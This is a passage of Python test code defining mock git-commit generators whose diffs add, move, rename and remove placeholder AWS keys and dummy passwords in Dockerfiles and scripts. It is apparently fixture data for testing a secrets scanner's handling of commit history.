commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='11e59e4e578c6ebcb48aae1e5e078a54c62920eb', committer='Mango🥭', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='c7c932ef4d31c487a921d2ce8544a4a468adf6b9', committer='🥭Mango🥭', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -2,10 +2,10 @@\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n \n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='4b8321e46217a87e21240afd88cdc0f1a861c0f5', committer='Mango🥭', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -2,7 +2,6 @@\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n \n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n \n'} ) yield Commit( metadata=CommitMetadata( commit_hash='7bb5c69d95b31bc2242bcf08ce25e74e953f9ae9', committer='🥭Mango🥭', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -4,7 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='2675bffd2662aae7025b7f3bb5fd384cdab355b1', committer='🥭Mango🥭', committed_datetime='2022-12-14T16:57:26+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -1,10 +1,11 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) def mock_get_commits_diff_iter3(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: """ add secret (secret1 added) - +1 move the secret to different line - 0 add secret equal to secret1 - +1 remove one secret (secret1 - update add remove_commit_hash) - 0 """ yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='900b1e8f6f336a92e8f5fca3babca764e32c3b3d', committer='baguette🥖', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -1,6 +1,7 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='4229974aec78152c426b40db8b6912ba098f3add', committer='baguette🥖', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -1,11 +1,11 @@\n #checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n #checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n FROM public.ecr.aws/lambda/python:3.9\n-ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n+\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='3c8cb7eedb3986308c96713fc65b006adcf3bc44', committer='baguette🥖', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -6,7 +6,7 @@ FROM public.ecr.aws/lambda/python:3.9\n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n-\n+ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n && pipenv run pip install -r requirements.txt --target "${LAMBDA_TASK_ROOT}" \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='697308e61171e33224757e620aaf67b1a877c99d', committer='baguette🥖', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'folder1/folder2/Dockerfile': 'diff --git a/folder1/folder2/Dockerfile b/folder1/folder2/Dockerfile\nindex 0000..0000 0000\n--- a/folder1/folder2/Dockerfile\n+++ b/folder1/folder2/Dockerfile\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n+\n ENV AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) yield Commit( # this commit should make no difference - its just to have 5 commits returned from this mock metadata=CommitMetadata( commit_hash='697308e61171e332247z2i2bi0aaf67b1a877c99d', committer='baguette🥖', committed_datetime='2022-12-14T16:54:05+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -5,7 +5,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n COPY Pipfile Pipfile.lock ./\n-ENV AWS_PIPY="something"\n+\n ENV AWS_DIP="ELSE"\n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && pipenv lock -r > requirements.txt \\\n'} ) def mock_get_commits_diff_remove_file(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='63342dbee285973a37770bbb1ff4258a3184901e', committer='Lemon🍋', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -4,6 +4,7 @@ FROM public.ecr.aws/lambda/python:3.9\n \n ENV PIP_ENV_VERSION="2022.1.8"\n \n+ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n COPY Pipfile Pipfile.lock ./\n \n RUN pip install pipenv==${PIP_ENV_VERSION} \\\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='bca377900d08d442b1080893e50b8dc8276cfcc0', committer='Lemon🍋', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/Dockerfile\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/Dockerfile\n@@ -13,6 +13,7 @@ RUN pip install pipenv==${PIP_ENV_VERSION} \\\n && rm -f requirements.txt Pipfile Pipfile.lock \\\n && pip uninstall -y pipenv\n \n+\n COPY src/ "${LAMBDA_TASK_ROOT}/src/"\n COPY utilsPython/ "${LAMBDA_TASK_ROOT}/utilsPython/"\n \n'} ) yield Commit( metadata=CommitMetadata( commit_hash='4bd08cd0b2874025ce32d0b1e9cd84ca20d59ce1', committer='Lemon🍋', committed_datetime='2022-12-14T16:32:13+00:00'), files={ 'Dockerfile': 'diff --git a/Dockerfile b/None\nindex 0000..0000 0000\n--- a/Dockerfile\n+++ b/None\n@@ -1,20 +0,0 @@\n-#checkov:skip=CKV_DOCKER_2:Healthcheck is not relevant for ephemral containers\n-#checkov:skip=CKV_DOCKER_3:User is created automatically by lambda runtime\n-FROM public.ecr.aws/lambda/python:3.9\n-\n-ENV PIP_ENV_VERSION="2022.1.8"\n-\n-ENV AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n-COPY Pipfile Pipfile.lock ./\n-\n-RUN pip install pipenv==${PIP_ENV_VERSION} \\\n- && pipenv lock -r > requirements.txt \\\n- && pipenv run pip install -r requirements.txt --target "${LAMBDA_TASK_ROOT}" \\\n- && rm -f requirements.txt Pipfile Pipfile.lock \\\n- && pip uninstall -y pipenv\n-\n-\n-COPY src/ "${LAMBDA_TASK_ROOT}/src/"\n-COPY utilsPython/ "${LAMBDA_TASK_ROOT}/utilsPython/"\n-\n-CMD ["src.secrets_setup.image.src.app.handler"]\n'} ) def mock_get_commits_diff_rename_file(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='adef7360b86c62666f0a70521214220763b9c593', committer='Strawberry🍓', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,3 @@\n-\n+AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n if __name__ == \'__main__\':\n print(\'test\')\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='7b12f891358f690f254476c80988bfa837f36ac6', committer='Strawberry🍓', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'main.py': 'diff --git a/main.py b/main.py\nindex 0000..0000 0000\n--- a/main.py\n+++ b/main.py\n@@ -1,3 +1,4 @@\n AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n+\n if __name__ == \'__main__\':\n print(\'test\')\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='2e1a500e688990e065fc6f1202bc64ed0ba53027', committer='Strawberry🍓', committed_datetime='2022-12-14T16:32:13+00:00'), renamed_files={ 'main.py': { "rename_from": "main.py", "rename_to": "test.py" } } ) def mock_get_commits_diff_iter_modify_and_rename_file(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[Commit, None, None]: """ when we rename a file and modify it in the same commit it will consider as deleting the old file and creating a new file add secret to file +1 rename the file and removed the secret- add removed_commit_hash """ yield Commit( metadata=CommitMetadata( commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', committer='🐲dragon of commits🐲', committed_datetime='2022-11-14T16:10:21+00:00'), files={ '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' } ) yield Commit( metadata=CommitMetadata( commit_hash='62da8e5e04ec5c3a474467e9012bf3427cff0407', committer='🍹rename', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test.py': 'diff --git a/test.py b/test.py\nindex 0000..0000 0000\n--- a/test.py\n+++ b/test.py\n@@ -1,4 +1,4 @@\n-\n+AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n \n if __name__ == \'__main__\':\n print(\'test\')\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='61ee79aea3d151a40c8e054295f330d233eaf7d5', committer='🍹rename', committed_datetime='2022-12-14T16:28:47+00:00'), files={ 'test.py': 'diff --git a/test.py b/None\nindex 0000..0000 0000\n--- a/test.py\n+++ b/None\n@@ -1,4 +0,0 @@\n-AWS_ACCESS_KEY_ID="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"\n-\n-if __name__ == \'__main__\':\n- print(\'test\')\n', 'test2.py': "diff --git a/None b/test2.py\nindex 0000..0000 0000\n--- a/None\n+++ b/test2.py\n@@ -0,0 +1,3 @@\n+\n+if __name__ == '__main__':\n+ print('test')\n"} ) def mock_get_commits_diff_iter_remove_file_with_two_equal_secret(repo: Repo, root_folder: str, git_commits: List[Any], is_full_scan: bool = True) -> Generator[ Commit, None, None]: # yield Commit( # metadata=CommitMetadata( # commit_hash='c9b3268e15eb20fd406b9077a4c45875086d6c1b', # committer='🐲dragon of commits🐲', # committed_datetime='2022-11-14T16:10:21+00:00'), # files={ # '.gitignore': "--- ''\n+++ .gitignore\n@@ -0,0 +1,50 @@\n+# These are some examples of commonly ignored file patterns.\n+# You should customize this list as applicable to your project.\n+# Learn more about .gitignore:\n+# https://www.atlassian.com/git/tutorials/saving-changes/gitignore\n+\n+# Node artifact files\n+node_modules/\n+dist/\n+\n+# Compiled Java class files\n+*.class\n+\n+# Compiled Python bytecode\n+*.py[cod]\n+\n+# Log files\n+*.log\n+\n+# Package files\n+*.jar\n+\n+# Maven\n+target/\n+dist/\n+\n+# JetBrains IDE\n+.idea/\n+\n+# Unit test reports\n+TEST*.xml\n+\n+# Generated by MacOS\n+.DS_Store\n+\n+# Generated by Windows\n+Thumbs.db\n+\n+# Applications\n+*.app\n+*.exe\n+*.war\n+\n+# Large media files\n+*.mp4\n+*.tiff\n+*.avi\n+*.flv\n+*.mov\n+*.wmv\n+\n", # 'readme_mock-first-commit-mock.txt': "--- ''\n+++ readme_mock-first-commit-mock.txt\n@@ -0,0 +1 @@\n+('https://developer.atlassian.com/server/jira/platform/oath/#generate-an-rsa-public-private-key-pair')\n\\ No newline at end of file\n", # 'test-multiline-secrets-first-commit-mock.json': '--- \'\'\n+++ test-multiline-secrets-first-commit-mock.json\n@@ -0,0 +1,18 @@\n+{\n+ "spec": [\n+ {\n+ "name": "TEST_PASSWORD_3",\n+ "value": "ABCPtpfIZR+zZGPUWUYvLojqylVeEg63CBYN0FpGJ4yuH+9YxZZe8Uq7drEoTSfL64kElPEnVJk+H7SZr+wBoxN5qDWsbDmmUS2H76h"\n+ },\n+ {\n+ "name": "SOME_NAME",\n+ "value": "some_value"\n+ },\n+ {\n+ "value": "Zo5Zhexnf9TUggdn+zBKGEkmUUvuKzVN+/fKPaMBA4zVyef4irH5H5YfwoC4IqAX0DNoMD12yIF67nIdIMg13atW4WM33eNMfXlE",\n+ "value1": "1Vab3xejyUlh89P6tUJNXgO4t07DzmomF4tPBwTbwt+sjXHg3G0MPMRpH/I2ho4gS5H3AKJkvJZj87V7/Qnp/rHdbMVYK1F0BX35",\n+ "name": "TEST_PASSWORD_1",\n+ "name1": "TEST_PASSWORD_2"\n+ }\n+ ]\n+}\n\\ No newline at end of file\n' # } # ) yield Commit( metadata=CommitMetadata( commit_hash='d76977ac656abdaa77a7791a11adfb96efb48a35', committer='🍕🍕pizza', committed_datetime='2022-12-14T16:10:21+00:00'), files={ 'test3.py': 'diff --git a/test3.py b/test3.py\nindex 0000..0000 0000\n--- a/test3.py\n+++ b/test3.py\n@@ -1,4 +1,4 @@\n-\n+AWS_ACCESS_KEY_ID="AKIAZZZZZZZZZZZZZZZZ"\n \n if __name__ == \'__main__\':\n print(\'test\')\n'} ) yield Commit( metadata=CommitMetadata( commit_hash='c211bfc4ae4514627f104ce0bf664dd9521d9c16', 